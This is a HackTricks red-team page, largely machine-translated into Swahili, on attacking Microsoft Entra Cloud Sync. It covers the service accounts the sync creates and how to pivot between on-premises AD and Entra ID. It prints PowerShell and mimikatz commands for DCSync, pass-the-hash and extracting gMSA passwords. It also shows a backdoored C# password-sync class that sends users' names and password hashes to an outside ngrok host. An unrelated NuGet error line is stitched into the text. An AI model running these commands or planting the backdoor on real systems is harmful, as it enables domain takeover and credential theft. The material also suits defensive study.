Az - Cloud Sync

Reading time: 9 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Cloud Sync ni njia mpya ya Azure ya kusawazisha watumiaji kutoka AD hadi Entra ID.

From the docs: Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa ili kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.

Principals Generated

Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise:

  • Katika Entra ID, mtumiaji On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) ameundwa na jukumu Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

warning

Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika kuinua ruhusa hata kwa msimamizi wa kimataifa. Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya microsoft.directory/onPremisesSynchronization/standard/read ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).

  • Katika Entra ID pia kundi AAD DC Administrators limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa Microsoft Entra Domain Services inatumika.

  • Katika AD, ama Akaunti ya Huduma provAgentgMSA imeundwa na SamAcountName kama pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), au moja ya kawaida yenye ruhusa hizi zinahitajika. Kawaida, ile ya kawaida inaundwa.

warning

Kati ya ruhusa nyingine, Akaunti ya Huduma provAgentgMSA ina ruhusa za DCSync, ikiruhusu mtu yeyote anayekabiliwa nayo kuathiri saraka nzima. Kwa maelezo zaidi kuhusu DCSync angalia hii.

note

Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa adminCount kuwa 1 hawasawazishwi na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja wanaweza kusawazishwa.

Password Sychronization

Sehemu hii ni sawa na ile kutoka:

Az - Connect Sync

  • Kusawazisha hash ya nenosiri kunaweza kuwezeshwa ili watumiaji waweze kuingia katika Entra ID wakitumia nenosiri zao kutoka AD. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID.
  • Kurejesha nenosiri pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na nyaraka za sasa, kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya Az Connect Sync kwa maelezo zaidi.
  • Kurejesha vikundi: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.

Pivoting

AD --> Entra ID

  • Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu).

Hivyo unaweza kwa mfano

  • Kabiliana na akaunti ya provAgentgMSA, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID.
  • Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
  • Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.

Ili kukabili akidi za provAgentgMSA:

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya provAgentgMSA na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD.

Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia:

Active Directory Methodology - HackTricks

note

Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya makundi ya Entra ID kutoka AD yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au makundi ya kidinamik yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia:

Az - Dynamic Groups Privesc

Kuhusu uthibitisho hii chapisho la blog linaonyesha kwamba inawezekana kutumia dnSpy kuingiza nyuma dll Microsoft.Online.Passwordsynchronisation.dll iliyoko katika C:\Program Files\Microsoft Azure AD Sync\Bin ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa PasswordHashGenerator na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka use System.Net na matumizi ya WebClient kutoa hash za nywila):

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • Ikiwa Password Writeback imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya Az Connect Sync kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kwa kutumia wakala huo.

  • Wakati huu, Cloud Sync pia inaruhusu "Microsoft Entra ID to AD", lakini baada ya muda mrefu niligundua kuwa HAIWEZI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Makundi haya yanaweza kuwa na watumiaji waliosawazishwa wa on-premises na / au makundi ya usalama yaliyoundwa na wingu.
  • Akaunti za watumiaji wa on-premises ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja.

Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks